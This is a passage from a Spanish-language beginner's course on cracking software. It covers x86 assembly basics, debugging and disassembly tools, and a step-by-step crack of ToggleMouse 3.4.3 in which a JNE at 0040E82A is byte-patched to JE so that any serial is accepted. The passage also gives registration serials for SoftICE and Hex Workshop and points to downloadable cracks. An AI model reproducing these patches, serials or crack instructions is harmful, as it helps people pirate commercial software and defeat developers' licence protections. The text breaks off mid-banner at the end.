más ... Monitor de archivos: Algunos programas crean archivos temporales con los registros correctos, y cuando se vuelven a ejecutar los programas, verifican la información del archivo temporal y si es que no es correcta se borra, el monitor de archivos ve los archivos que se crean ... (p.e. UltraEdit, este pide un número de registro, y para comprobar nos dice que necesita reiniciar para comprobar, este crea un archivo llamado uedit.reg). Lista de monitor : File Monitor. Desensamblador (Disassembler): Podemos depurar un programa en el instante, pero también podemos desensamblar un programa, o sea, ver lo depurado en el instante, pero tranquilamente podemos estudiar las rutinas sin tener que depurar 'En

el momento'. Lista de monitor : IDA (Dos*32 Bits), WDasm, Sourcer 7, etc. . . 2.1 - CONOCIMIENTOS BÁSICOS DE ENSAMBLADOR (Assembler) Primero : ¿ Por que digo desensamblar o depurar? .. cuando un programa está hecho en otros lenguajes de programación (p.e. C - C++, Visual Basic, Delphi, Pascal) y lo 'compilas'.. o sea, lo dejas en ejecutable(.EXE, .COM) primero, ¿Qué es compilar?, hablemos superficialmente de aquello.. imaginemos que tenemos un código fuente de un programa (supongo que sabes que es eso), y el programa tiene la función de hacer lo siguiente ... Muestrame Un mensaje, el mensaje dice 'Hola a todos', y cuando lo muestres, que suene un pitído, al mismo tiempo, pinta las letras de color verde. Este es un pequeño programa que puede ser hecho en varios lenguajes, pero .. ¿El computador puede entender estas letras humanas y este lenguaje que nosotros entendemos? NO!, para eso necesitaremos un compilador, este transforma este código en un lenguaje llamado 'máquina', que convierte nuestro programita en un .EXE que el procesador sabrá ejecutar, y entonces, tendremos un programa. Al mismo tiempo estamos protegiendo nuestro código, ¿Por que?, por que si le damos el código a cualquiera, pueden modificarlo ¿o no?.. por ejemplo si tengo el código de arriba puedo modificarlo para que sea así: Muestrame Un mensaje, el mensaje dice 'MUERANSE TODOS!', y cuando lo muestres, que suenen dos pitídos, al mismo tiempo, pinta las letras de color azul. Claro que ahora están saliendo descompiladores. que revierten el ejecutable a el código fuentee. Para variar me volví a desviar, quedamos en qué era un desensamblador, bueno, cuando creamos un programa en Delphi, Pascal, Etc. lo compilados, el desensablador puede 'desensamblar' el program para dejarlo en Ensamblador para la ingeniería inversa. Ensamblador es un lenguaje de programación de bajo nivel, ¿ Qué significa bajo nivel ?... pues al revés de un lenguaje avanzado como 'C', o uno medio como Pascal que son lenguajes para crear programas.. que son de alto nivel.. el lenguaje de bajo nivel es una manera de decir que mientras 'Mas programemos o más programa creemos menos control tendremos de este..'. Este lenguaje les va ayudar mucho ... Si prestamos atención a este pequeño código fuente, no lo entenderán si no saben acerca de ensamblador.. si es que es así . Les ayudaré con los tipos ...

MOV AX,1111h MOV BX,1112h CMP AX,BX JB

saltobueno HLT saltobueno: DEC BX CMP AX,BX JNE Acaba JE Continua Continua: DEC BX CMP AX,BX JE Acaba JB Acaba JG Acaba Acaba: XOR AX,AX XOR BX,BX

¿Que rayos significa esto? ¿Estudiaremos todo lo que hace este pequeño texto, e iremos aprendiendo para seguir adelante en nuestro curso.. empezaremos por aprender que es ax y bx mostrados en la primera instrucción. Primero que nada, no son solo estás dos palabras, en total son las siguiente palabras : AX, BX, CX, DX ... pero .. ¿que son estás palabras? ... estas palabras son registros de datos, o sea, que contienen información en ellas para cálculos y otras cosas en general. Digamos que guardan datos temporales de la 'memoria'. tocaremos de manera superficial este tema ya que está curso de aesoft que les puede ayudar al respecto muy meticulosamente. Pensemos que estos registros son para acumular datos en memoria temporalmente .. ¿Ok?.. pensemos ahora que un equipo estándar con Win95 Usa 32 Bits, los registros para 16 bits (Windows 3.11, piénsenlo así) son Ax, Bx, Cx, Dx.Pero si queremos trabajar en 32 Bits, o sea Win95, tendremos que agregarles una E para depurarlos en Win95, (P.e. Eax, Ebx, Ecx, Edx).. Me Explico nuevamente, en windows 95 se usan datos de 32 Bits(Para guardar datos)... si estamos trabajando en Windows 3.11 o dos(Versión anterior de Win95, y el añorado DOS) trabajaremos para guardar datos en 16 bits. Si trabajamos en DOS o en WIN 3.11, deberíamos ver los registros de datos como AX,BX,CX,DX, si trabajamos en Win95 serían así EAX,EBX,ECX,EDX. (Si ves en alguna parte registros de 16 bits. como AH no te sorprendas, es que se separan AX,BX,CX,DX .. ¿Cómo? .. AX se separa en AH y AL, BX se separa en BH y BL... y así sucesivamente.) Ahora imaginemos que tenemos estos registros, ¿cada uno debe tener un valor o no?.. claro, y para este segmento de un código fuente tenemos el comando mov, el cuál en inglés significa move, el cuál significa mover, o sea que 'mueve' el valor 1111 a Ax, y mueve el valor 1112 A Bx, ¿Por qué la h? significa que está en hexadecimal, y tal como dijo Hot Byte en su curso, aprenderemos a transformar de decimal, hexadecimal, binario.

Decimal a binario (Todo esta siguiente explicación gracias a Hot Byte):

Decimal Binario 0

0

1

1

2

10

3

11

4

100

5

101

6

110

7

111

8

1000

9

1001

10

1010

Aquí se presenta la conversión de binario decimal:

Si tenemos el número : La conversión sería : y en decimal es :

1 1*2 1

1 0

1*2

0 1

+2

0*2

2

+0

0 0*2

3

+0

1 1*2

4

+16

= 19

El * lo utilizo para multiplicar ... y el número pequeño, es elevar o potencionar (si no sabes, estas muerto).. ahora pongamos el primer número, 1*2, quedaría 2, si lo elevamos a 0 siempre y siempre quedará 1, cualquier número elevado a 0 siempre dará 1, además si te diste cuenta, dependiendo de los números que se van agregando en binario para que se vaya aumentando en 1 el exponente (0,1,2,3,4...). En este caso hemos logrado satisfactoriamente convertir el binario 11001 en del decimal 19. Otra cosa! debes tener claro que en la computación se usa para potencionar el signo '^'.. Sigamos ... Pero primero les aconsejaría tener una calculadora científica a mano: A continuación me apoyaré en el instituto de investigaciones de México para apoyar lo que voy a decir: La división de un número entre dos es objetiva, cuando se divide y queda entre comas el resultado(p.e.:15,3), quedarán 'residuos',(15,3 <esto es residuo) si el residuo es mayor que 0, será 1, si igual a 0, será 0. si esto se explica de la siguiente manera ... TOMEMOS EL NUMERO 43 COMO EJEMPLO :

43/2 = El resultado es 21,5 .. 5 es mayor que 0, o sea que queda como 1

21/2 = El resultado es 10,5 .. 5 es mayor que 0, o sea que queda como 1 10/2 = El resultado es 5,0 ... 0 es igual a 0, o sea queda como 0 5/2 = El resultado es 2,5 ... 5 es mayor que 0, o sea queda como 1 2/2 = El resultado es 1,0 ... 0 es igual a 0, o sea queda como 0 1/2 = El resultado es 0,5 ... 5 es mayor a 0, o sea queda como 1 Vamos a tener que mirar este número de abajo hacia arriba, o sea 101011

Conversiones a Hexadecimal Miremos la siguiente tabla para empezar a guiarnos un poco :

Decimal 0 1 2 3 4 5 6 7 8 9 1 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

Hexadecimal 0 1 2 3 4 5 6 7 8 9 A B C D E F 10 11 12 13 14 15 16 17 18 19 1A 1B

siguiente con lo dicho convertiremos de binario a hexadecimal.

Un número binario (1-0) es un bit, ocho bits son un byte, 1.024 bytes es un kilobyte, 1.024 kilobytes es Megabyte, 1.024 Megabytes es un gigabyte...

Volvamos a lo nuestro ; veamos nuevamente el código fuente :

MOV AX,1111h

; Nuevamente sabemos que el registro AX vale 1111 en Hexadecimal, se pone una 'h' si es hexadecimal

MOV BX,1112h

; Ahora sabemos que BX vale 1112 en Hexadecimal.

CMP AX,BX Ahora averiguaremos que es CMP, 'podríamos' decir que proviene de 'comprobar', primero comprueba el 2do valor con el primero, o sea, comprueba si es que BX es igual a AX. Y después de comprobar tenemos que saber qué queremos comprobar, si es menor, o mayor, o lo que sea, para esto utilizaremos el comando JB(abajo). JB saltobueno El comando JB es uno de varios saltos disponibles para operaciones .. o sea, que si tenemos que comprueba el valor de AX con BX .. ¿luego qué? .. es como decir que : mira, te subo el sueldo y después hago algo .. ¿pero qué? .. --mira, te subo el sueldo pero luego te despido-- se entiende? después de hacer alguna operación debemos darle una instrucción .. en este caso JB significa : salta si es inferior... en este caso veremos que si dejamos a AX con el valor de 1111 y a BX con el valor de 1112, después los comprobamos y JB hará la comprobación de : Si AX es menor que BX, entonces salta a la instrucción SALTOBUENO que está abajo. Ojalá que hayas entendido esto .. mira la tabla que está mas abajo. HLT

; Esta orden bloquea el ordenador, halt > con esto decimos todo.

saltobueno:

; si te das cuenta, hemos puesto saltobueno: con ':' al final, para declarar que es una función.

DEC BX DEC, ¿Qué es esto? .. viene de la palabra inglesa 'decrease', que significa decrementar o disminuir, y entonces disminuirá el valor BX (1112) en 1 y quedará 1111. Dec sirve para quitar solamente 1. CMP AX,BX

; Después de programar comprobaººrá que Ax con BX ahora valen lo mismo

JNE Acaba JE Continua Trataré de explicar, JNE es un salto también, JNE significa = Salta si no es equivalente, y JE es el contrario de JNE, o sea JE = Salta si es equivalente, dime.. ¿crees que la función JNE se va a ejecutar? .. piensa tu respuesta. Continua: DEC BX

; Ahora BX vale 1110h

¿ Ahora te diste cuenta que disminuimos nuevamente a BX ?

CMP AX,BX

; comprueba nuevamente a AX con BX

JE Acaba JB Acaba JG Acaba JE = Salta si es equivalente, (Saltará? .. no ..) JB = Salta si es inferior,(No es menor, no saltará) JG = Salta si es mayor, en este caso, saltará.. AX es mayor que BX. Acaba: XOR AX,AX XOR BX,BX ; AX y BX valen ahora cero. XOR torna los registros en 0. Si tomamos todo lo que decía toda la sentencia de este mini programa en ensamblador es como si se tomara esto : Ax = Javier - Bx = Federico (Bueno para el pic..), Javier tiene ahora (mov ax,1111h) 1111 Condones, y Federico tiene 1112(mov bx,1112h) Condones, para comprobarlo los cuentan(cmp ax,bx) y por que Javier tiene menos se van al prostíbulo(JB Saltobueno), y en el prostíbulo(saltobueno:), Federico se gasta uno (Dec bx), después nuevamente los cuentan (cmp ax,bx). Se dan cuenta que no están disparejos (JNE acaba) y que tienen los mismo, pero después se van al basurero municipal(JE continua), y Federico necesita solo 1110, así que bota uno (Dec bx). Los cuentan nuevamente (cmp ax,bx), después cuentan si tienen los mismos (JE acaba) y no tienen lo mismo. Después ven si Javier tiene menos(JB acaba), no, no tiene menos, después ven si Javier tiene más, si tiene más,(JG acaba), después se aburren, y los van a bota todos (acaba:) ... Javier los quema todos(XOR AX,AX), y Federico también (XOR BX,BX).

Hexadecimal

Assembler

Significa

75 o 0F85

jne

Salta si no es equivalente

74 o 0F84

je

Salta si es equivalente

EB

jmp

Salta directamente a . . .

90

nop

( No OPeration ) Sin operación

77 o 0F87

ja

Salta si esta sobre

OF86

jna

Salta si no esta sobre

0F83

jae

Salta si esta sobre o igual

0F82

jnae

Salta si no esta sobre o igual

0F82

jb

Salta si es inferior

0F83

jnb

Salta si no es inferior

0F86

jbe

Salta si esta debajo o igual

0F87

jnbe

Salta si no esta debajo o igual

0F8F

jg

Salta si es mayor

0F8E

jng

Salta si no es mayor

0F8D

jge

Salta si es mayor o igual

0F8C

jnge

Salta si no es mayor o igual

0F8C

jl

Salta si es menor

0F8D

jnl

Salta si no es menor

0F8E

jle

Salta si es menor o igual

0F8F

jnle

Salta si no es menor o igual

Según por lo que hemos visto hasta ahora los términos que nos podrían servir serían : Cmp xx,xx = (X = Registro) Compara valores de un registro y a sea AX,BX,CX,DX (Recordad que pueden ser de 32 bits, o sea, (E)AX, (E)BX, (E)CX, (E)DX.) .. Que recomendación podría darte cuando en futuros casos te encuentres con estas comparaciones ? :-Intercéptalas cuando están en plena comprobación-:] Jne xxxxx = Cuando saltes a una dirección por ejemplo; cuando saltes a una ventana de error diciendo que te registraste mal, y estés después de una comprobación ... :-Revierte los saltos! así pensará que no es equivalente-:, me explico, si nos encontramos con una operación de registro que dice así:

014F:00401DD 3BC7

Cmp eax, edi

; 000401DF es una dirección de ejemplo, cuando tengamos que desensamblar un programa será así. El texto solo por ejemplo de lo que 014F:00401DF "Registro Falló" sería un registro fallido. Lo que podemos hacer aquí es "invertir" el salto tal como lo mencionamos anteriormente... lo que está en COLOR lo puse así para que reconocieran que esta es la instrucción en hexadecimal, para invertir miremos la tabla que tenemos arriba, tendríamos que cambiar la instrucción 0F85061DC1FF por 0F84061DC1FF ... en muchos otros casos más se puede usar este método... no solo en la instrucción JNE, también se puede usar en otras instrucciones, así, estaremos revirtiendo la comprobación, y pensará ... : La comprobación original tiene esta apariencia : 'Si no es el número correcto, entonces, saltará al error' ... pero la cambiaremos para que diga .. 'Si el número no es correcto... entonces... registro Exitoso!'... así estaremos burlando la protección del programa; pero nos podremos encontrar algún día con alguna protección así: 014F:00401DE 0F85061DC1FF

Jne 00401DF

:004049CD 755A

jne 00404A29

Lo que podemos hacer es hacer que sea un salto directo, o sea reemplazando 755A con EB5A .así quedaría en un JMP 00404A29... Todavía los tengo enredados con la parte teórica, pero con los ejemplos nos acostumbraremos con los ejemplos que tendremos .. Test xx,xx = Estas instrucciones no se las he mostrado, pero también son rutinas de verificación, también podemos poner una interrupción aquí.

3. - ENFATIZANDO CON LAS HERRAMIENTAS Tendremos que usar nuestras herramientas, acostumbrarnos a ellas, sentirlas, experimentar,

provocar errores, aprender de ellos. usemos nuestras herramientas, vamos a probar con ellas, descarguemoslas todas desde una sola vez ...

Depuradores Soft-Ice :-Nuestro añorado depurador, descarguemos la versión completa Aquí, vamos a descargar la versión 4.0 para Windows 95., ya que no necesitaremos más que eso. Si no me equivoco son 16 Mb. Si es que no funciona, prueben esta. Podremos usar este con mayoría, será nuestro depurador. Configuración se Soft-ICE: Desde ahora le llamaremos SICE, y cuando lo instales deberás correr por las siguientes configuraciones . . ., desde la 1ra configuración hasta la 3ra serán configuraciones de instalación. 1ro: Requerirá de una contraseña: Cómo todavía no les he enseñado nada, les daré la contraseña : 4111-36143B-B7 Desde ahora a las contraseñas les llamaremos seriales 2do: Configuración de tarjeta de vídeo: SoftIce prácticamente detectará tu tarjeta de vídeo, si es que no es así, elije la tarjeta 'super vga'. Deberás hacer la prueba de vídeo con el botón 'test'. 3ro: Modificación de tu AUTOEXEC.BAT: deberás saber que es tu autoexec.bat, si no sabes lo que es el autoexec.bat, puedes rendirte.. abandona este curso... si lo sabes, SoftIce se cargará en tu Autoexec.bat para que se inicie cada vez que parte tu computador. Si es que te llegan a ocurrir esos típicos errores de Windows, SICE se cargará, antes del error y a veces puede ser molesto y a veces puede dejar el error más grande aún. Así que te recomiendo que cuando comenzemos a crackear no lo cargues en el autoexec.bat, si no crea un bat. Si es que lo instalaste en nuestro directorio C:\Archivos de programa\Numega\softIce\ . Podré ayudarte, pon esta línea en un bat. Si es que elegiste que no modificara tu autoexec. deberás salir de windows en modo ms-dos, y cargar el bat.. C:\ARCHIV~1\NUMEGA\SOFTIC~1\WINICE.EXE 4to: Una vez instalado lanzar Symbol Loader: deberás lanzar el 'symbol loader', ir al menú edit, luego a SoftICE initialization settings. en donde dice 'Initialization string' debes poner X;wl;wr;wd7; code on;, y en donde dice 'History Buffer size (KB)' debes poner '512'. 5to: Con un editor de texto: Debes abrir el fichero 'Winice.dat' que esta el el directorio en donde instalaste el SICE, y habrán líneas en donde se dice ';EXP=', a todas las líneas deberás quitarle el ';' al comienzo para que queden así 'EXP='. Mas tarde explicaré el porqué de esto. 6to: Una vez hechos los cambios: Reiniciar el equipo para poder lograr la completa actualización de los cambios que hemos hecho

Desensambladores WDasm :-No es el mejor, pero lo utilizaremos al comienzo, para seguir avanzando, es un desensamblador. Luego comenzaremos a utilizar el llamado IDA (Interactive DiSassembler) puedes descargarlos de una serie de mirrors, como siempre les daré 2 solamente,este y este. IDA (Interactive DiSassembler) :-El mejor desensamblador, todo lo teórico que he hablado se entenderá en cuanto hagamos nuestro ejemplo volar por las nubes. Lamentablemente los mirros que tengo, uno es de la versión nueva y otro de una versión mas antigua.

Editores Hexadecimales UltraEdit 6.x :-Uno de los mejores editores hexadecimales, gracias a dios que el shareware lo reparten gratuitamente en http://www.ultraedit.com , pronto aprenderemos a crackear nuestras propias herramientas, es lo primero que debemos hacer. Este lo vamos a dejar para el segundo capitulo, les regalaré el crack de todas las siguientes herramientas por el solo hecho de ser principiantes. Hex Workshop 2.54 :-Otro de los mejores editores existentes, también requiere de crackeo .. se puede descargar aqui . Y el serial de este programa es : B5-45678. Hacker's View 6 :-Para mi simplemente el mejor editor existente... NO SE FIJEN EN MI PALABRA! ENCUENTREN SUS HERRAMIENTAS FAVORITAS! descarguen Hacker's View aquí y el crack por aquí.

4. - LA PRIMERA APROXIMACIÓN

He aquí nuestra primera aproximación, nuestro objetivo fue escogido al azar, y es un típico ejemplo de una combinación serial/fácilismo, debo mencionar que podremos seguir con muchas protecciones distintas. Empezaremos con protecciones fáciles y luego seguiremos con distintos esquemas de protección, aumentando así nuestro nivel poco a poco. Ejemplo nº1 :

Nombre : ToggleMouse Tamaño del ejecutable: 618.486 Bytes Versión : 3.4.3 Ubicación : http://kutcracks.virtualave.net/kutfilez/toggle.zip Nombre del ejecutable : Togglemouse.exe Tamaño del zip:418 Kb Características : Programa que permite generar utilidades con el Mouse Protección : Sencilla Tiempo estimado : 20 Minutos (Para ayudar a los principiantes) Tipo de protección : Serial*Registro*Tiempo Precio : 14.95 Dólares americanos + 4.00 por compra y resguardo en Limitaciones : 30 Días de prueba + 7 Días de terminación extra + Una diskette pantalla que nos dice que tenemos que registrarnos. Herramientas a utilizar : WDasm, Editor hexadecimal, Zen Cracking.

Primero que nada tenemos que familiarizarnos con el programa, ejecutemoslo, exploremos, y por un momento olvidemonos que se tiene que comprar, exploremos, miremos, probemos, enfatizemos con el programa.

Después de hacer varias pruebas con el programa, le doy 2 puntos y medio de 5, fue de mi agrado. Recordemos que solo crackeamos para extender el periodo de prueba de un programa para probarlo al máximo de sus capacidades. Y para aprender de él. En este caso estudiaremos este programa paso a paso para ver qué es lo que hace y cómo lo hace .. ¿Listos para comenzar? 4.1 -Teórico, ahora, práctico. Ok, vamos a abrir este bebé, se preguntarán qué es el zen cracking.. le llamaremos Zen Cracking a la manera en que usamos nuestra mente para pensar en cómo funciona un programa, y por donde atacaremos ... algo así, no se puede explicar, sin embargo ud. mismos lo aprenderán en el transcurso de este largo curso, sin que yo les diga poco a poco de que se trata. Vamos a empezar por averiguar el cómo usar nuestras propias herramientas, al mismo tiempo que vamos interactuando con el programa, te recomendaría que imprimieras este curso ya que con reiniciar e instalar softice y las herramientas se verá difícil estar cambiando de ventanas para leer mientras tratas de crackear el programa.

 Empezemos con nuestro amado programa, primero que nada, instalemos el WDasm, y corramos su ejecutable, apareceremos en una ventana típica de programas hechos en Windows, en el menú Disassembler. Open file to disassemble. Ahora, abramos nuestro ejecutable 'togglemouse.exe', y verán cómo la barra avanza la barra de progreso. Cuando termine, no empezaremos a crackear enseguida, si no que exploraremos las funciones de Wdasm para conocerlo mejor. Primero, conoceremos las referencias de datos (String data references). Si prestas atención a un botón a la esquina superior derecha. Al lado del botón de la impresora. Miremos la figura a continuación:



 sabemos que si presionamos el primer botón abriremos otro archivo, si presionamos el segundo botón, guardaremos en un archivo el otro archivo ya desensamblado. Para este caso, usaremos referencias de cadenas, presionemos en aquel botón y veremos un listado de diferentes cadenas a las cuales llama el programa. Ejecutemos el programa ToggleMouse, en este caso veremos una carpeta que dice 'Order' (Ordenar), y aparecerá un botón que nos parecerá interesante... 'Click here to enter your registration code'(click aqui para poner tu código de registro). Le daremos un click y veremos una ventana diciendo que pongamos nuestro nombre, compañia, y nuestro código de registro(serial). Escribamos un nombre p.e. 'M@NIAC PC', luego, una compañia p.e. 'KUt', y un serial cualquiera como '1234567890'... aparecerá un diálogo diciendo 'The registration information you have entered is not valid. Please confirm that you have entered the information exactly as it was provided', tienes que saber aunque sea un poco de inglés básico para saber que esto es decir 'La información escrita no es válida. Por favor confirme que ha escrito la

información tal como se le fue dado'...Nuestro objetivo por esta vez en Wdasm, será buscar cadenas relacionadas con registros(o sea, diálogos de compra y serial) .. busquemos y las cadenas que me aparecieron y encontré algo fueron:

 

String Resource ID=00157: "EconoClick has saved you %d clicks."

String Resource ID=00158: "You haven't taken advantage of the EconoClick feature." String Resource ID=00159: "You've clicked %d times, double-clicked %d times, right-clic" String Resource ID=00160: "You haven't used the PopDesk feature yet." String Resource ID=00161: "You have used the PopDesk feature %d times." String Resource ID=00162: "Your web browser will now be started and the Toggle Software" String Resource ID=00163: "Your web browser could not be started automatically. Please " String Resource ID=00164: "Registration is Complete!Thank you very much for registeri" String Resource ID=00165: "The registration information you have entered is not valid." String Resource ID=00166: "Dear Customer,Our registration system has changed and in o" String Resource ID=00167: "On some systems, color scrolling cursors may flicker while y" String Resource ID=57344: "ToggleMOUSE" String Resource ID=61446: "an unnamed file" String Resource ID=61472: "No error message is available." String Resource ID=61473: "An unsupported operation was attempted." String Resource ID=61474: "A required resource was unavailable." String Resource ID=61475: "Out of memory."

 He remarcado las cadenas queme parecieron interesantes, si te acuerdas, la segunda que remarqué te parece conocida .. ¿Verdad?.. y la primera si es que te diste cuenta es la cadena que te dice que te registraste bien, en el cuadro de diálogos de Wdasm demosle click sobre la cadena 'Registration is Complete!...' para ver de que se trata, pero realmente no nos interesará esto ya que buscamos el por qué se produjo el error, o sea, demosle doble click a la cadena 'The registration information ...' y veremos lo siguiente :



          

* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0040E82A(C) | :0040E8DF 6AFF push FFFFFFFF :0040E8E1 6A10 push 00000010 * Possible Reference to String Resource ID=00165: "The registration information you have entered is not valid." | :0040E8E3 68A5000000 push 000000A5 :0040E8E8 E840F70100 call 0042E02D :0040E8ED EB2F jmp 0040E91E

 Con esto los tengo confundidos, ya que hay 2 cosas que no les enseñe de ensamblador antes, la función push, y call, a call, tal como lo suena su nombre en inglés 'llama' a funciones. En este caso llamará a otras funciones para que se ejecuten (jne,mov, etc.) Daré este código pequeño para que vean de que se trata la función 'call'.

mov ax,23h call muevete xor ax,ax xor bx,bx muevete: mov bx,24h

; mueve el valor de 23 a AX ; llamada a 'muevete

; declara la función 'muevete' ; mueve el valor 24 a BX ; otra función no vista, ret 'retorna' a la función.., retorna desde el call hacia ret adelante. Una vez terminada la función 'muevete' volverá a la instrucción siguiente después de la 'llamada', o sea, seguirá desde el xor ax,ax en adelante por el ret, y con esto dejará a AX y BX en 0. Por las instrucciones XOR. El comando push pone un valor en el tope de la 'pila', me explico. Si decimos como arriba push 00000000 sería mover el valor a la memoria. O sea como mover el valor 00000000 (Que es igual a 0) a la memoria6 para que quede con ese valor, esta memoria es como 'la cima' de los registros. (Como dice Ed!son, el Push es para guardar valores para su uso posterior) Sigamos con lo nuestro, tenemos la palabra "The registration information you have entered is not valid.", pero si prestamos atención veremos que arriba tiene escrito ' Referenced by a (U)nconditional or (C)onditional Jump at Address:' lo que significa 'Tiene una referencia de un salto (c)ondicional o (i)ncondicional de la dirección", esto quiere decir que la instrucción de error ("The registration information ...) Fue llamada desde una dirección, y nos aparece el siguiente texto:   

* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0040E82A(C)

Para esto quiere decir que la cadena de error fue llamada desde la dirección 0040E82A, tenemos que presionar el botón 'IR A UBICACIÓN', o ir al menú 'Goto' (Ir a..) y ver 'Goto Code Location'.. y escribiremos la dirección de la cuál se llama, o sea 0040E82A, iremos ahí y nos encontraremos con el siguiente pedazo de código:

* Possible Reference to Dialog: DialogID_7801, CONTROL_ID:0064, "" | :0040E794 6A64 push 00000064 :0040E796 8BC3 mov eax, ebx :0040E798 33D2 xor edx, edx :0040E79A 59 pop ecx :0040E79B F7F1 div ecx :0040E79D FF7508 push [ebp+08] :0040E7A0 8BF0 mov esi, eax :0040E7A2 8BDE mov ebx, esi :0040E7A4 81F321332153 xor ebx, 53213321 :0040E7AA E8E1570000 call 00413F90 :0040E7AF 3DD7E7FC00 cmp eax, 00FCE7D7 :0040E7B4 59 pop ecx :0040E7B5 0F8434010000 je 0040E8EF :0040E7BB FF7508 push [ebp+08] :0040E7BE E8CD570000 call 00413F90 :0040E7C3 3D00A02E02 cmp eax, 022EA000 :0040E7C8 59 pop ecx :0040E7C9 0F8420010000 je 0040E8EF :0040E7CF FF7508 push [ebp+08] :0040E7D2 E8B9570000 call 00413F90 :0040E7D7 3DF87A4138 cmp eax, 38417AF8 :0040E7DC 59 pop ecx :0040E7DD 0F840C010000 je 0040E8EF :0040E7E3 FF7508 push [ebp+08] :0040E7E6 E8A5570000 call 00413F90 :0040E7EB 3D9EB18C00 cmp eax, 008CB19E :0040E7F0 59 pop ecx :0040E7F1 0F84F8000000 je 0040E8EF :0040E7F7 FF7508 push [ebp+08] :0040E7FA E891570000 call 00413F90

:0040E7FF 3DD713B200 cmp eax, 00B213D7 :0040E804 59 pop ecx :0040E805 0F84E4000000 je 0040E8EF :0040E80B FF7508 push [ebp+08] :0040E80E E87D570000 call 00413F90 :0040E813 3DF6336A2C cmp eax, 2C6A33F6 :0040E818 59 pop ecx :0040E819 0F84D0000000 je 0040E8EF :0040E81F FF7508 push [ebp+08] :0040E822 E869570000 call 00413F90 :0040E827 3BC6 cmp eax, esi :0040E829 59 pop ecx :0040E82A 0F85AF000000 jne 0040E8DF :0040E830 E84B3B0200 call 00432380 :0040E835 8B4004 mov eax, dword ptr [eax+04] :0040E838 56 push esi * Possible StringData Ref from Data Obj ->"Registration" | :0040E839 BEC4264400 mov esi, 004426C4

He remarcado claramente la instrucción que llama al error, en mi primer ejemplo de ensamblador, puse un Jne acaba, y en este caso llamamos a un Jne 0040E8DF, no se preocupen, cuando se programa en ensamblador, se etiquetan las instrucciones como acaba, digamos que es lo mismo pero que en vez de etiquetas como 'acaba' se etiquetan cuando se desensambla en direcciones tales como '0040E8DF'... Tal como les dije en unas páginas atrás, ¿Qué haremos con esta instrucción que salta si no es equivalente?.. exacto!, la revertiremos de una manera de la cuál pensará que estamos registrados correctamente si escribimos un código erroneo.. pero.. ¡Cuidado!, vamos a aprender que si es que revertimos el salto ahora ... pensemos un poquito .. si lo revertimos para que si escribimos un serial incorrecto piense que es correcto .. ¿Qué pasará si escribimos el serial correcto? .. BUM! el error se arrojará en ese caso .. pero .. hey! antes de que hagas cualquier tipo de cambio como bestia salvaje sin nada que hacer mas que reventar unos bytes. vamos a lanzar el monitor de registro del sistema. para observar si es que el programa produce cambios en el registro de Windows.. Más tarde se explicará que és el registro de Windows. Puedes descargar el monitor de registro aquí o puedes usar este otro. 4.1.0 -Una pequeña explicación. Si es que miramos arriba del salto jne 0040E8DF podemos observar una call.

:0040E822 E869570000 call 00413F90 :0040E827 3BC6 cmp eax, esi :0040E829 59 pop ecx :0040E82A 0F85AF000000 jne 0040E8DF :0040E830 E84B3B0200 call 00432380

Si es que recuerdas, 'push' era para mantener un valor temporalmente en la cima de la memoria, el comando mencionado aqui ('pop') obtiene el valor del 'push' puesto en la cima de la memoria y al mismo tiempo le agrega 2 unidades, más tarde hablaremos de estas llamadas 'unidades'. En este ejemplo, el pop obtiene el valor de la cima de ecx. ¿ Y para que menciono además del pop a la función call ?.. puesto que antes del salto al error, (jne 0040E8DF) se llama a este famoso call que va a la dirección en la cuál se comprueba el serial que has escrito, y si recuerdas, después de comprobar todo este famoso enredo vuelve (Un RET) y Salta si no es equivalente el serial que has escrito .. ¿Ves que no es tan difícil como parece?. 4.2 -Muerte a los bytes. Lancemos ahora tu editor hexadecimal, abre el ejecutable de ToggleMouse(ToggleMouse.exe) y vayamos al

menú 'Edit' y luego 'Replace' busquemos la cadena hexadecimal de JNE (Tal como lo expliqué arriba) 0F85AF000000 y lo reemplazaremos con la instrucción JE(La inversa) que es 0F84, o sea que sería 0F84AF000000. Usa para esto UltraEdit o Hex WorkShop, el hacker's view funciona de otra manera que explicaré en otro capítulo. Una vez que hayamos guardado los cambios, iniciemos ToggleMouse con el monitor de registro abierto y reluciente esperando a su víctima ser acosada. Vayamos al menú order, presionemos 'enter regitration code', escribamos el nombre que queramos registrar, una compañia, y cualquier número serial, presionemos 'Ok' y veamos que sucede .. 'Registration Complete! thank you very much for registering ..' ... estamos registrados, no estemos contentos con eso, hemos descubierto una estúpida protección. Pero todavía no se acaba esto!, tenemos que aprender más y más del programa, no solo trata este curso de matar y matar, sino, el verdadero conocimiento en sí!, ahora, veamos el monitor de registro.. dice que se abrió y creo una clave en : HKEY_CURRENT_USER\Software\Toggle Software\ToggleMOUSE\Registration ¿Poco imaginativo no .. ?... Bueno, veamos lo que tenemos aqui, en mi caso, puse como nombre a : M@NIAC PC, de compañia a : KUt99, y después, nos vamos a 'ejecutar' en el menú de Inicio de Win95, y escribimos 'regedit', lanzamos con esto al editor de registro de configuraciones, presionamos F3 para Buscar, y escribimos ToggleMOUSE, después de una búsqueda los encontraremos por aquí, en nuestra izquierda deberíamos tener lo siguiente:

" ToggleSoftware "ToggleMOUSE "Blink "PanicStopper "QuikScroll "Registration <- Esta es la cadena interesante. Demosle un click y apareceremos por aquí a la derecha :

Tal como podemos apreciar tenemos la compañía ; (KUt99), el Nombre; (M@NIAC PC) y el número de registro para estos dos nombres, (31071472) .. Vamos a tener un grave problema si no utilizamos los mismos nombres y compañia, podríamos probar eliminando todos estos valores (Excepto siempre el que dice (predeterminado)).. explicación de lo dicho, el programa, para generar su propio número serial, hace sus propias operaciones algebráicas con letras, o sea, para cada letra que se genere, hará su propia multiplicación, división, étc. esto se explicará más adelante en un capítulo mas avanzado. Tomemos por ejemplo otra operación de un programa inventado, o sea, en el programa dice 'Nombre' y 'serial'. Imaginense que el programa tiene como función poner en este caso, que si como nombre tenemos una 'm' minúscula esta vale 8, y si es mayúscula esta vale 3, ¿ok?, y si ponemos una 'm' junto con una 'a' hará una operación matemática complicada... traten de entenderlo superficialmente, ya que se estudará esto más tarde con más interés en ello. 5 -El registro de Windows Lo siguiente es un trozo del proyecto Nakarko:

,;;;;;;;;;;, _-=-_pRoYeKtO

